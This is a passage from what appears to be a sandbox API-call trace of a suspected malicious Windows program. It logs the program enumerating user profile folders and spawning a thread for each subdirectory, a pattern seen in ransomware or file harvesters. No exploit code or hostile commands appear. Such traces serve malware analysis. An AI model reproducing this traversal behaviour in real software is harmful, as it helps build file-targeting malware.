0x1b7d82c0 [0085.984] wcscpy (in: _Dest=0x1b7d82c0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.984] wcscat (in: _Dest=0x1b7d82c0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.984] wcscat (in: _Dest=0x1b7d82c0, _Source="NetHood" | out: _Dest="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0085.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d82c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0085.985] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT", _String2=".") returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT", _String2="..") returned 1 [0085.985] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT.LOG", _String2=".") returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT.LOG", _String2="..") returned 1 [0085.985] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT.LOG1", _String2=".") returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT.LOG1", _String2="..") returned 1 [0085.985] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT.LOG2", _String2=".") returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT.LOG2", _String2="..") returned 1 [0085.985] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", _String2=".") returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", _String2="..") returned 1 [0085.985] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", _String2=".") returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", _String2="..") returned 1 [0085.985] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", _String2=".") returned 1 [0085.985] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", _String2="..") returned 1 [0085.985] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0085.985] wcscmp (_String1="ntuser.ini", _String2=".") returned 1 [0085.985] wcscmp (_String1="ntuser.ini", _String2="..") returned 1 [0085.985] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0085.985] wcscmp (_String1="Pictures", _String2=".") returned 1 [0085.986] wcscmp (_String1="Pictures", _String2="..") returned 1 [0085.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d8300 [0085.986] wcscpy (in: _Dest=0x1b7d8300, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.986] wcscat (in: _Dest=0x1b7d8300, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.986] wcscat (in: _Dest=0x1b7d8300, _Source="Pictures" | out: _Dest="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0085.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0085.986] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0085.986] wcscmp (_String1="PrintHood", _String2=".") returned 1 [0085.986] wcscmp (_String1="PrintHood", _String2="..") returned 1 [0085.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8340 [0085.986] wcscpy (in: _Dest=0x1b7d8340, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.986] wcscat (in: _Dest=0x1b7d8340, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.986] wcscat (in: _Dest=0x1b7d8340, _Source="PrintHood" | out: _Dest="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0085.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0085.987] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0085.987] wcscmp (_String1="Recent", _String2=".") returned 1 [0085.987] wcscmp (_String1="Recent", _String2="..") returned 1 [0085.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d8380 [0085.987] wcscpy (in: _Dest=0x1b7d8380, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.988] wcscat (in: _Dest=0x1b7d8380, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.988] wcscat (in: _Dest=0x1b7d8380, _Source="Recent" | out: _Dest="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0085.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0085.988] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0085.988] wcscmp (_String1="Saved Games", _String2=".") returned 1 [0085.988] wcscmp (_String1="Saved Games", _String2="..") returned 1 [0085.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c620 [0085.988] wcscpy (in: _Dest=0x1b82c620, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.988] wcscat (in: _Dest=0x1b82c620, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.988] wcscat (in: _Dest=0x1b82c620, _Source="Saved Games" | out: _Dest="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0085.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0085.989] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0085.989] wcscmp (_String1="Searches", _String2=".") returned 1 [0085.989] wcscmp (_String1="Searches", _String2="..") returned 1 [0085.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d83c0 [0085.989] wcscpy (in: _Dest=0x1b7d83c0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.989] wcscat (in: _Dest=0x1b7d83c0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.989] wcscat (in: _Dest=0x1b7d83c0, _Source="Searches" | out: _Dest="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches" [0085.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d83c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0085.990] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0085.990] wcscmp (_String1="SendTo", _String2=".") returned 1 [0085.990] wcscmp (_String1="SendTo", _String2="..") returned 1 [0085.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d8400 [0085.990] wcscpy (in: _Dest=0x1b7d8400, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.990] wcscat (in: _Dest=0x1b7d8400, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.990] wcscat (in: _Dest=0x1b7d8400, _Source="SendTo" | out: _Dest="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0085.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720 [0085.991] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0085.991] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0085.991] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0085.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d8440 [0085.991] wcscpy (in: _Dest=0x1b7d8440, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.991] wcscat (in: _Dest=0x1b7d8440, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.991] wcscat (in: _Dest=0x1b7d8440, _Source="Start Menu" | out: _Dest="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0085.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0085.992] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0085.992] wcscmp (_String1="Templates", _String2=".") returned 1 [0085.992] wcscmp (_String1="Templates", _String2="..") returned 1 [0085.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8480 [0085.992] wcscpy (in: _Dest=0x1b7d8480, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.992] wcscat (in: _Dest=0x1b7d8480, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.992] wcscat (in: _Dest=0x1b7d8480, _Source="Templates" | out: _Dest="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0085.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0085.993] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0085.993] wcscmp (_String1="Videos", _String2=".") returned 1 [0085.993] wcscmp (_String1="Videos", _String2="..") returned 1 [0085.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d84c0 [0085.993] wcscpy (in: _Dest=0x1b7d84c0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0085.993] wcscat (in: _Dest=0x1b7d84c0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0085.993] wcscat (in: _Dest=0x1b7d84c0, _Source="Videos" | out: _Dest="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0085.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d84c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0085.993] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0085.993] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0085.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4b0) returned 1 [0085.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a450) returned 1 Thread: id = 136 os_tid = 0x73c [0085.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d8500 [0085.996] wcscpy (in: _Dest=0x1b7d8500, _Source="C:\\Users\\Default User" | out: _Dest="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0085.996] wcscat (in: _Dest=0x1b7d8500, _Source="\\" | out: _Dest="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0085.996] wcscat (in: _Dest=0x1b7d8500, _Source="*" | out: _Dest="C:\\Users\\Default User\\*") returned="C:\\Users\\Default User\\*" [0085.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.997] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0085.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8500) returned 1 [0085.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8100) returned 1 Thread: id = 137 os_tid = 0x4e0 [0085.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82aae0 [0085.998] wcscpy (in: _Dest=0x1b82aae0, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0085.998] wcscat (in: _Dest=0x1b82aae0, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0085.998] wcscat (in: _Dest=0x1b82aae0, _Source="*" | out: _Dest="C:\\Users\\Public\\*") returned="C:\\Users\\Public\\*" [0085.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.999] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0085.999] wcscmp (_String1=".", _String2=".") returned 0 [0085.999] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.999] wcscmp (_String1="..", _String2=".") returned 1 [0085.999] wcscmp (_String1="..", _String2="..") returned 0 [0085.999] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0085.999] wcscmp (_String1="Desktop", _String2=".") returned 1 [0085.999] wcscmp (_String1="Desktop", _String2="..") returned 1 [0085.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d8100 [0085.999] wcscpy (in: _Dest=0x1b7d8100, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0085.999] wcscat (in: _Dest=0x1b7d8100, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0085.999] wcscat (in: _Dest=0x1b7d8100, _Source="Desktop" | out: _Dest="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0085.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0086.000] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.000] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0086.000] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0086.000] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, 